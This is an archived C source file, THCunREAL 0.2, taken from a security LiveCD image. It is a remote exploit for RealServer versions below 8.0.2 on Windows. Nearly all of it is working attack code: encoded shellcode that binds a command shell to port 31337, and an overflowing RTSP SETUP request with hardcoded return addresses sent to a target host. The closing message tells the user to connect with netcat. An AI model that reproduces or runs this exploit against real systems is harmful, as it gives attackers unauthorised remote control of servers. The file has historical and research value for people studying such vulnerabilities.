home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / THCunREAL.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  152 lines

  1. /*****************************************************************************/
  2. /* THCunREAL 0.2 - Wind0wZ remote root exploit                               */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */
  4. /* THC PUBLIC SOURCE MATERIALS                                               */
  5. /*                                                                           */
  6. /* The exploit can be freely distributed !                                   */
  7. /*                                                                           */
  8. /* This is the much more reliable version of the Realserver < 8.0.2 exploit  */
  9. /* Tested with different OSes and Realserver Versions                        */
  10. /*                                                                           */
  11. /* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554     */
  12. /* i noticed that 99% of the probed machines are not up2date yet ! =;O)      */
  13. /*                                                                           */
  14. /* The shellcode is much shorter than the one in version 0.1 now and of      */
  15. /* course offsetless ! The encoder in front of the exploit is needed coz the */
  16. /* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !      */
  17. /*                                                                           */
  18. /* After successful exploitation of this bug, a commandshell should spawn on */
  19. /* TCP port 31337 ! Use netcat to connect to this port !                     */
  20. /*                                                                           */
  21. /* If there's no connectable port 31337, maybe it's blocked by a firewall !  */
  22. /*                                                                           */
  23. /* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8    */
  24. /* runs on. I just know it's also exploitable on other OSs !                 */
  25. /* So if u wanna exploit other platforms, try to get Realserver 8 and use    */
  26. /* gdb to find out, how this can be exploited ! Good luck !                  */
  27. /*                                                                           */
  28. /* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib              */
  29. /*                                                                           */
  30. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
  31. /* scut, stealth, zip, zilvio and the rest of the combo ......               */
  32. /*****************************************************************************/
  33.  
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <string.h>
  37. #include <winsock2.h>
  38.  
  39. char w32portshell[] =
  40. "\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83"
  41. "\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c"
  42. "\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5"
  43. "\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79"
  44. "\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c"
  45. "\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a"
  46. "\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc"
  47. "\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc"
  48. "\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1"
  49. "\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40"
  50. "\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a"
  51. "\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8"
  52. "\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8"
  53. "\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70"
  54. "\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc"
  55. "\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d"
  56. "\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60"
  57. "\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1"
  58. "\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d"
  59. "\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62"
  60. "\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70"
  61. "\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60"
  62. "\xca\x60\xd9\x5f\xca\xca\x60\xd5";
  63.  
  64. void usage();
  65.  
  66. int main(int argc, char *argv[])
  67. {  
  68.   unsigned short realport=554;
  69.   unsigned int sock,addr,i,rc;
  70.   unsigned char exploit_buffer[4132];
  71.   unsigned long retloc1,retloc2,retaddr;
  72.   struct sockaddr_in mytcp;
  73.   struct hostent * hp;
  74.   WSADATA wsaData;
  75.  
  76.   printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n");
  77.   printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
  78.  
  79.   if(argc<2)
  80.    usage();
  81.  
  82.  retloc1 = 0x6235108c; 
  83.  retloc2 = 0x623514b6;
  84.  retaddr = 0x62354f5e;
  85.  
  86.  memset(exploit_buffer,'Z',4131);
  87.  memcpy(exploit_buffer,"SETUP /",7);
  88.  *(unsigned long *)&exploit_buffer[4082] = retloc1;
  89.  *(unsigned long *)&exploit_buffer[4086] = retloc2;
  90.  memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));
  91.  *(unsigned long *)&exploit_buffer[4090] = retaddr;
  92.  memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5);
  93.  memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33);
  94.  
  95.   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  96.   {
  97.    printf("WSAStartup failed !\n");
  98.    exit(-1);
  99.   }
  100.   
  101.   hp = gethostbyname(argv[1]);
  102.  
  103.   if (!hp){
  104.    addr = inet_addr(argv[1]);
  105.   }
  106.   if ((!hp)  && (addr == INADDR_NONE) )
  107.   {
  108.    printf("Unable to resolve %s\n",argv[1]);
  109.    exit(-1);
  110.   }
  111.  
  112.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  113.   if (!sock)
  114.   { 
  115.    printf("socket() error...\n");
  116.    exit(-1);
  117.   }
  118.   
  119.   if (hp != NULL)
  120.    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  121.   else
  122.    mytcp.sin_addr.s_addr = addr;
  123.  
  124.   if (hp)
  125.    mytcp.sin_family = hp->h_addrtype;
  126.   else
  127.    mytcp.sin_family = AF_INET;
  128.  
  129.   mytcp.sin_port=htons(realport);
  130.  
  131.   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  132.   if(rc==0)
  133.   {
  134.     send(sock,exploit_buffer,4131,0);
  135.     printf("\nexploit send .... sleeping a while ....\n");
  136.     Sleep(1000);
  137.     printf("\nok ... now try to connect to port 31337 via netcat !\n");
  138.   }
  139.   else
  140.    printf("can't connect to realserver port!\n");
  141.   
  142.   shutdown(sock,1);
  143.   closesocket(sock);
  144.   exit(0);
  145. }
  146.  
  147. void usage()
  148. {
  149.  printf("\nUsage:  <Host>\n");
  150.  exit(0);
  151. }
  152.